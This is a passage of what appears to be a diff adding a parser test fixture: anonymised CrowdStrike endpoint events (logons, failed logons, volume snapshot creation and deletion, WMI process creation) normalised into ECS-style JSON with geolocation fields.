"{\"UserIsAdmin\":\"1\",\"LogoffTime\":\"1745913154.660\",\"LogonTime\":\"1745989529.811\",\"aip\":\"216.160.83.56\",\"LogonDomain\":\"742a2b40\",\"RemoteAccount\":\"0\",\"UserSid\":\"S-5282-72526-65462-33571-94897-74826-26210\",\"event_platform\":\"Win\",\"UserFlags\":\"230\",\"EventOrigin\":\"1\",\"LogonServer\":\"742a2b40\",\"id\":\"d42b0220749ccf3c12046d08207cd42e3e36\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserLogoff\",\"UserName\":\"e00908ad\",\"ConfigStateHash\":\"3440491101\",\"LogonType\":\"4\",\"AuthenticationPackage\":\"80af\",\"AuthenticationId\":\"9134169010\",\"UserPrincipal\":\"\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"1677255764.322\",\"UserLogoffType\":\"3\",\"Entitlements\":\"66\",\"name\":\"035509012de2\",\"UserLogonFlags\":\"6\",\"aid\":\"e4b4d652bb68d0b6eaf25c3a357bd566\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "domain": "742a2b40", + "id": "e4b4d652bb68d0b6eaf25c3a357bd566", + "os": { + "type": "windows" + } + }, + "message": "UserLogoff", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "e4b4d652bb68d0b6eaf25c3a357bd566", + "version": "2c8b.4.ae3729d.e6" + }, + "related": { + "hash": [ + "3440491101" + ], + "hosts": [ + "742a2b40" + ], + "ip": [ + "216.160.83.56" + ], + "user": [ + "e00908ad", + "S-5282-72526-65462-33571-94897-74826-26210" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-5282-72526-65462-33571-94897-74826-26210", + "name": "e00908ad", + "roles": [ + "admin" + ] + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ClientComputerName": "98ecc4", + "ConfigStateHash": "7800020060", + "ContextProcessId": "2014546000418", + "ContextTimeStamp": "2025-08-24T20:05:40.160Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "46", + "EtwRawProcessId": 273, + "EtwRawThreadId": 9360, + "EventOrigin": "1", + "LogonType": "3", + "Status": "7810500605", + "SubStatus": "2782800370", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "abcd637574e3e621a022d447ce47204dcb70", + "name": "ed7b4a3a01737761db" + }, + "destination": { + "address": "216.160.83.56", + "as": { + "number": 209 + }, + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": "216.160.83.56" + }, + "device": { + "id": "82e84213f5e5ad2820ee7b0f905b8f43" + }, + "event": { + "action": "UserLogonFailed2", + "category": [ + "authentication" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "abcd637574e3e621a022d447ce47204dcb70|82e84213f5e5ad2820ee7b0f905b8f43|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"610009300097503\",\"aip\":\"81.2.69.142\",\"LogonDomain\":\"6e\",\"event_platform\":\"Win\",\"ClientComputerName\":\"98ecc4\",\"EventOrigin\":\"1\",\"id\":\"abcd637574e3e621a022d447ce47204dcb70\",\"SubStatus\":\"2782800370\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"Status\":\"7810500605\",\"event_simpleName\":\"UserLogonFailed2\",\"RawProcessId\":\"173\",\"ContextTimeStamp\":\"1756065940.160\",\"UserName\":\"6cc6d9fae629fd277\",\"ConfigStateHash\":\"7800020060\",\"EtwRawProcessId\":\"273\",\"ContextProcessId\":\"2014546000418\",\"LogonType\":\"3\",\"EtwRawThreadId\":\"9360\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"3014546000418\",\"Entitlements\":\"46\",\"name\":\"ed7b4a3a01737761db\",\"aid\":\"82e84213f5e5ad2820ee7b0f905b8f43\",\"RemoteAddressIP4\":\"216.160.83.56\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "failure", + "type": [ + "start" + ] + }, + "host": { + "domain": "6e", + "id": "82e84213f5e5ad2820ee7b0f905b8f43", + "os": { + "type": "windows" + } + }, + "message": "UserLogonFailed2", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "82e84213f5e5ad2820ee7b0f905b8f43", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3014546000418", + "pid": 173, + "thread": { + "id": 610009300097503 + } + }, + "related": { + "hash": [ + "7800020060" + ], + "hosts": [ + "98ecc4" + ], + "ip": [ + "81.2.69.142", + "216.160.83.56" + ], + "user": [ + "6cc6d9fae629fd277" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "6cc6d9fae629fd277" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "7800020060", + "ContextProcessId": "2014546000418", + "ContextTimeStamp": "2025-05-10T01:07:19.892Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "16", + "EventOrigin": "1", + "TreeId": "929834768029", + "UserLogonFlags": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "498499842694e5b09e8a1c4abfe2eb414696", + "name": "9d199e1f177dd175a" + }, + "device": { + "id": "82e84213f5e5ad2820ee7b0f905b8f43" + }, + "event": { + "action": "UserLogonFailed", + "category": [ + "authentication" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "498499842694e5b09e8a1c4abfe2eb414696|82e84213f5e5ad2820ee7b0f905b8f43|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"UserLogonFailed\",\"ContextTimeStamp\":\"1746839239.892\",\"UserName\":\"6cc6d9fae629fd277\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"2014546000418\",\"LogonTime\":\"\",\"ContextThreadId\":\"610009300097503\",\"aip\":\"81.2.69.192\",\"UserSid\":\"S-25871-2981-333\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"PasswordLastSet\":\"\",\"TreeId\":\"929834768029\",\"Entitlements\":\"16\",\"name\":\"9d199e1f177dd175a\",\"EventOrigin\":\"1\",\"UserLogonFlags\":\"1\",\"id\":\"498499842694e5b09e8a1c4abfe2eb414696\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"82e84213f5e5ad2820ee7b0f905b8f43\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "failure", + "type": [ + "start" + ] + }, + "host": { + "id": "82e84213f5e5ad2820ee7b0f905b8f43", + "os": { + "type": "windows" + } + }, + "message": "UserLogonFailed", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "82e84213f5e5ad2820ee7b0f905b8f43", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "2014546000418", + "thread": { + "id": 610009300097503 + } + }, + "related": { + "hash": [ + "7800020060" + ], + "ip": [ + "81.2.69.192" + ], + "user": [ + "6cc6d9fae629fd277", + "S-25871-2981-333" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-25871-2981-333", + "name": "6cc6d9fae629fd277" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "4084727020", + "AuthenticationPackage": "43c19a09", + "ClientComputerName": "d51a37d47316ea", + "ConfigStateHash": "3440491101", + "ContextProcessId": "1776052010570", + "ContextTimeStamp": "2025-10-05T15:21:41.966Z", + "EffectiveTransmissionClass": "2", + "EnabledPrivilegesBitmask": "2034200020", + "Entitlements": "56", + "EventOrigin": "1", + "LogonServer": "be2c2f", + "LogonTime": "2025-04-29T17:48:07.174Z", + "LogonType": "4", + "PasswordLastSet": "1559926561.421", + "PrivilegesBitmask": "900780039900", + "RemoteAccount": "1", + "UserFlags": "52", + "UserGroupsBitmask": "8043300404", + "UserLogonFlags": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "064eb67301d3224008ad7aee62c85ce3b9f2", + "name": "184e1f7f8f1" + }, + "device": { + "id": "43efa5759b9c618d8565a64ba39b729c" + }, + "event": { + "action": "UserLogon", + "category": [ + "authentication" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "064eb67301d3224008ad7aee62c85ce3b9f2|43efa5759b9c618d8565a64ba39b729c|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"UserIsAdmin\":\"1\",\"LogonTime\":\"1745948887.174\",\"ContextThreadId\":\"500010382010308\",\"aip\":\"216.160.83.56\",\"LogonDomain\":\"6e\",\"RemoteAccount\":\"1\",\"UserSid\":\"S-46253-20659-68776-75234-87277-33222-58161\",\"event_platform\":\"Win\",\"UserFlags\":\"52\",\"ClientComputerName\":\"d51a37d47316ea\",\"EventOrigin\":\"1\",\"LogonServer\":\"be2c2f\",\"id\":\"064eb67301d3224008ad7aee62c85ce3b9f2\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserLogon\",\"ContextTimeStamp\":\"1759677701.966\",\"UserName\":\"a7b663ef867\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"1776052010570\",\"LogonType\":\"4\",\"PrivilegesBitmask\":\"900780039900\",\"AuthenticationPackage\":\"43c19a09\",\"AuthenticationId\":\"4084727020\",\"UserPrincipal\":\"testuser@test.com\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"1559926561.421\",\"Entitlements\":\"56\",\"name\":\"184e1f7f8f1\",\"UserLogonFlags\":\"0\",\"EnabledPrivilegesBitmask\":\"2034200020\",\"aid\":\"43efa5759b9c618d8565a64ba39b729c\",\"UserGroupsBitmask\":\"8043300404\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "domain": "6e", + "id": "43efa5759b9c618d8565a64ba39b729c", + "os": { + "type": "windows" + } + }, + "message": "UserLogon", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "43efa5759b9c618d8565a64ba39b729c", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "1776052010570", + "thread": { + "id": 500010382010308 + } + }, + "related": { + "hash": [ + "3440491101" + ], + "hosts": [ + "be2c2f", + "d51a37d47316ea" + ], + "ip": [ + "216.160.83.56" + ], + "user": [ + "a7b663ef867", + "testuser", + "testuser@test.com", + "S-46253-20659-68776-75234-87277-33222-58161" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "test.com", + "email": "testuser@test.com", + "full_name": "testuser", + "id": "S-46253-20659-68776-75234-87277-33222-58161", + "name": "a7b663ef867", + "roles": [ + "admin" + ] + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "892001000", + "ContextProcessId": "3093093002701", + "ContextTimeStamp": "2025-06-13T18:18:15.450Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "InterfaceGuid": "fa20370b2cc4c0e88d161f705a2bba7fbe37", + "InterfaceVersion": "0", + "RpcClientProcessId": "4000150007426", + "RpcClientThreadId": "680008401000314", + "RpcNestingLevel": "0", + "RpcOpNum": "8", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f6b9775ac6046bae94a4121496a6896a86f6", + "name": "20c2ece111ed142fd2567b9" + }, + "device": { + "id": "3dc8ee79410457af4c28499efe37b5bc" + }, + "event": { + "action": "VolumeSnapshotCreated", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f6b9775ac6046bae94a4121496a6896a86f6|3dc8ee79410457af4c28499efe37b5bc|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"100445831083903\",\"aip\":\"89.160.20.112\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"fa20370b2cc4c0e88d161f705a2bba7fbe37\",\"RpcClientProcessId\":\"4000150007426\",\"id\":\"f6b9775ac6046bae94a4121496a6896a86f6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"VolumeSnapshotCreated\",\"ContextTimeStamp\":\"1749838695.450\",\"UserName\":\"481403faf1d\",\"ConfigStateHash\":\"892001000\",\"ContextProcessId\":\"3093093002701\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"680008401000314\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"RpcOpNum\":\"8\",\"Entitlements\":\"16\",\"name\":\"20c2ece111ed142fd2567b9\",\"aid\":\"3dc8ee79410457af4c28499efe37b5bc\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\da2d906a\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\6ba0bd", + "name": "da2d906a", + "path": "\\6ba0bd\\da2d906a", + "type": "file" + }, + "host": { + "id": "3dc8ee79410457af4c28499efe37b5bc", + "os": { + "type": "windows" + } + }, + "message": "VolumeSnapshotCreated", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "3dc8ee79410457af4c28499efe37b5bc", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "3093093002701", + "thread": { + "id": 100445831083903 + } + }, + "related": { + "hash": [ + "892001000" + ], + "ip": [ + "89.160.20.112" + ], + "user": [ + "481403faf1d" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "481403faf1d" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "7800020060", + "ContextProcessId": "8000830008430", + "ContextTimeStamp": "2025-10-09T17:02:20.183Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "1", + "InterfaceGuid": "48e8e6085fac8e183337f9647e2623b38023", + "InterfaceVersion": "0", + "RpcClientProcessId": "5000504040107", + "RpcClientThreadId": "914521090820021", + "RpcNestingLevel": "1", + "RpcOpNum": "40", + "SHA256HashData": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68", + "TokenType": "1", + "VolumeDriveLetter": "82", + "VolumeName": "\\6ba0bd\\257d4e13", + "VolumeSnapshotName": "\\6ba0bd\\8536f344", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "00d920a4c248b10173113fc4155a74b4b655", + "name": "1523f0687a552764e446cf1" + }, + "device": { + "id": "10ee42b0c65b014b6197f3d92782c4ad" + }, + "event": { + "action": "VolumeSnapshotDeleted", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "00d920a4c248b10173113fc4155a74b4b655|10ee42b0c65b014b6197f3d92782c4ad|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"449040000360080\",\"aip\":\"81.2.69.142\",\"VolumeDriveLetter\":\"82\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"VolumeSnapshotName\":\"\\\\6ba0bd\\\\8536f344\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"48e8e6085fac8e183337f9647e2623b38023\",\"RpcClientProcessId\":\"5000504040107\",\"id\":\"00d920a4c248b10173113fc4155a74b4b655\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"VolumeSnapshotDeleted\",\"VolumeName\":\"\\\\6ba0bd\\\\257d4e13\",\"ContextTimeStamp\":\"1760029340.183\",\"UserName\":\"580d88d\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"8000830008430\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"914521090820021\",\"SHA256HashData\":\"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"54d\\\\d598026\\\\4a6a0a4b\\\\a096c58f.exe\\\"\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\a096c58f.exe\",\"RpcOpNum\":\"40\",\"Entitlements\":\"26\",\"name\":\"1523f0687a552764e446cf1\",\"aid\":\"10ee42b0c65b014b6197f3d92782c4ad\",\"RpcNestingLevel\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "host": { + "id": "10ee42b0c65b014b6197f3d92782c4ad", + "os": { + "type": "windows" + } + }, + "message": "VolumeSnapshotDeleted", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "10ee42b0c65b014b6197f3d92782c4ad", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "54d\\d598026\\4a6a0a4b\\a096c58f.exe" + ], + "args_count": 1, + "command_line": "54d\\d598026\\4a6a0a4b\\a096c58f.exe\"", + "entity_id": "8000830008430", + "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe", + "name": "a096c58f.exe", + "thread": { + "id": 449040000360080 + } + }, + "related": { + "hash": [ + "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68", + "7800020060" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "580d88d" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "580d88d" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "400605500", + "BoundingLimitCount": 1, + "BoundingLimitDuration": "1486640", + "ConfigStateHash": "450007109", + "ContextTimeStamp": "2025-10-19T21:43:27.570Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "1", + "RpcClientProcessId": "901070429000", + "RpcClientThreadId": "5500404207604", + "TokenType": "2", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "4fd1a6718f8c7a25e6af1b5af89b5565a443", + "name": "4d986d3e22110751d0" + }, + "device": { + "id": "8bba3f79ae72c48db0721bce1cc23f47" + }, + "event": { + "action": "WmiCreateProcess", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "4fd1a6718f8c7a25e6af1b5af89b5565a443|8bba3f79ae72c48db0721bce1cc23f47|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"WmiCreateProcess\",\"ContextTimeStamp\":\"1760910207.570\",\"UserName\":\"f3c32fdf5aef1041\",\"ConfigStateHash\":\"450007109\",\"aip\":\"81.2.69.192\",\"RpcClientThreadId\":\"5500404207604\",\"BoundingLimitCount\":\"1\",\"AuthenticationId\":\"400605500\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"43126eea\\\\79499b4.1\\\\48\\\\a686\\\\44dc\\\\9f8c9452\\\\30973301\\\\6961403c.txt\\\" 2>&1\\\"\",\"TokenType\":\"2\",\"TargetProcessId\":\"341000415765\",\"BoundingLimitDuration\":\"1486640\",\"ImageFileName\":\"\\\\6ba0bd\\\\6cf19058\\\\d598026\\\\dc9ec376\\\\04d.exe\",\"Entitlements\":\"86\",\"name\":\"4d986d3e22110751d0\",\"EventOrigin\":\"1\",\"RpcClientProcessId\":\"901070429000\",\"id\":\"4fd1a6718f8c7a25e6af1b5af89b5565a443\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8bba3f79ae72c48db0721bce1cc23f47\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "8bba3f79ae72c48db0721bce1cc23f47", + "os": { + "type": "windows" + } + }, + "message": "WmiCreateProcess", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "8bba3f79ae72c48db0721bce1cc23f47", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "args": [ + "43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt 2>&1" + ], + "args_count": 1, + "command_line": "43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"", + "entity_id": "341000415765", + "executable": "\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe", + "name": "04d.exe" + }, + "related": { + "hash": [ + "450007109" + ], + "ip": [ + "81.2.69.192" + ], + "user": [ + "f3c32fdf5aef1041" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "f3c32fdf5aef1041" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ClientComputerName": "f2752e89", + "ConfigStateHash": "750096004", + "ContextProcessId": "9977300700005", + "ContextTimeStamp": "2025-05-09T10:14:21.429Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "1", + "PatternId": "260", + "PerformanceCounter": "c0350cfa279c5991", + "WmiProviderName": "\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8", + "WmiProviderType": "425f2336", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "08b4a44cd2f229eadaa6f64169deb30db7f7", + "name": "256ae77a9371219d15d0ae429aae" + }, + "device": { + "id": "fe88182661659af8a192fac5db624574" + }, + "event": { + "action": "WmiProviderRegistrationEtw", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "08b4a44cd2f229eadaa6f64169deb30db7f7|fe88182661659af8a192fac5db624574|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"aip\":\"81.2.69.144\",\"WmiProviderType\":\"425f2336\",\"event_platform\":\"Win\",\"PatternId\":\"260\",\"ClientComputerName\":\"f2752e89\",\"EventOrigin\":\"1\",\"id\":\"08b4a44cd2f229eadaa6f64169deb30db7f7\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"WmiProviderRegistrationEtw\",\"ContextTimeStamp\":\"1746785661.429\",\"UserName\":\"207ef664\\\\d621c1\",\"ConfigStateHash\":\"750096004\",\"WmiProviderName\":\"\\\\c\\\\4813\\\\155e1\\\\63acf3b8.Name=\\\\6c12b79e.0\\\\8\",\"EtwRawProcessId\":\"4080\",\"ContextProcessId\":\"9977300700005\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"CommandLine\":\"82\\\\340d600\\\\dc9ec376\\\\c663c82b\\\\3819b3fa\\\\0c83.inf_amd64_7928011f35860ca3\\\\c53e7\\\\a3d70a9.exe\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\c663c82b\\\\3819b3fa\\\\0c83.inf_amd64_7928011f35860ca3\\\\c53e7\\\\a3d70a9.exe\",\"Entitlements\":\"76\",\"name\":\"256ae77a9371219d15d0ae429aae\",\"ProcessStartTime\":\"1745961781.179\",\"PerformanceCounter\":\"c0350cfa279c5991\",\"aid\":\"fe88182661659af8a192fac5db624574\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "fe88182661659af8a192fac5db624574", + "os": { + "type": "windows" + } + }, + "message": "WmiProviderRegistrationEtw", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "fe88182661659af8a192fac5db624574", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "args": [ + "82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe" + ], + "args_count": 1, + "command_line": "82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe", + "entity_id": "9977300700005", + "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe", + "name": "a3d70a9.exe", + "pid": 4080, + "start": "2025-04-29T21:23:01.179Z" + }, + "related": { + "hash": [ + "750096004" + ], + "hosts": [ + "f2752e89" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "207ef664\\d621c1" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "207ef664\\d621c1" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ContextProcessId": "48146963060067", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b2cdcff3f1ec7958dd0f0d3b83d51360bfa4", + "name": "993018c29291eaa31ad975c11fbbae3390" + }, + "device": { + "id": "945a25b2d8f219a0693641fa5daeb3c4" + }, + "event": { + "action": "WroteExeAndGeneratedServiceEvent", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "b2cdcff3f1ec7958dd0f0d3b83d51360bfa4|945a25b2d8f219a0693641fa5daeb3c4|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"WroteExeAndGeneratedServiceEvent\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"48146963060067\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"16\",\"name\":\"993018c29291eaa31ad975c11fbbae3390\",\"EventOrigin\":\"1\",\"id\":\"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"945a25b2d8f219a0693641fa5daeb3c4\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "host": { + "id": "945a25b2d8f219a0693641fa5daeb3c4", + "os": { + "type": "windows" + } + }, + "message": "WroteExeAndGeneratedServiceEvent", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "945a25b2d8f219a0693641fa5daeb3c4", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "48146963060067" + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "329", + "ConfigStateHash": "9080101000", + "ContextBaseFileName": "7b31c1d240b3d", + "ContextProcessId": "356301901002", + "ContextTimeStamp": "2025-10-15T11:10:28.961Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "1", + "FileCategory": "1", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-43058-61586-47269", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "2b0434b299dc23d3e66d5af40855f712e176", + "name": 